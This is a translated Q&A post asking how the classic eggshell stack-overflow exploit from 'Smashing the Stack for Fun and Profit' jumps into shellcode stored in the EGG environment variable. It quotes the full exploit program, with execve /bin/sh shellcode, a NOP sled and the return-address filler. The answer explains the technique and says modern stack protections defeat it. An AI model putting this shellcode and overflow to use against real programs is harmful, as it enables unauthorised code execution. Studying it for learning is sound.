c - 缓冲区溢出与环境变量

Question

我无法理解下面显示的 Smashing the Stack for Fun and Profit 中的一个漏洞。在此漏洞利用中，一些 shellcode 存储在名为 EGG 的环境变量中，变量的地址在存储在 RET 中的缓冲区中重复。然后使用 RET 调用我们希望利用的程序，这应该会导致程序跳转到 EGG。任何人都可以解释如何跳转到 EGG 吗？看起来 RET 填充的是 %esp 的地址，而不是 EGG。

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}

Answer 1

您知道该程序在现代 PC 上无法轻松运行吗？因为在现代 pc 中应用了很多堆栈保护机制，如 NX、ASLR 等。当他们编写上述程序时，情况并非如此。当时对于每个进程，堆栈都位于相同的内存位置。

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

上面的代码将返回一个较低的内存地址，该地址假定为“受害者代码的缓冲区将略高于该地址!”因此，当我们尝试使用不同偏移量作为参数的受害者代码时，可能会出现“返回地址 = Shellcode 地址”!然后shellcode开始执行!你会产生一个壳!

而 EGG 只是您的环境变量的名称。 putenv() 需要一个“name=string”形式的字符串。当你执行受害者进程时，你将 $EGG 放入堆栈中，这就是为什么 RET 被 %esp 填充的原因。希望你明白了。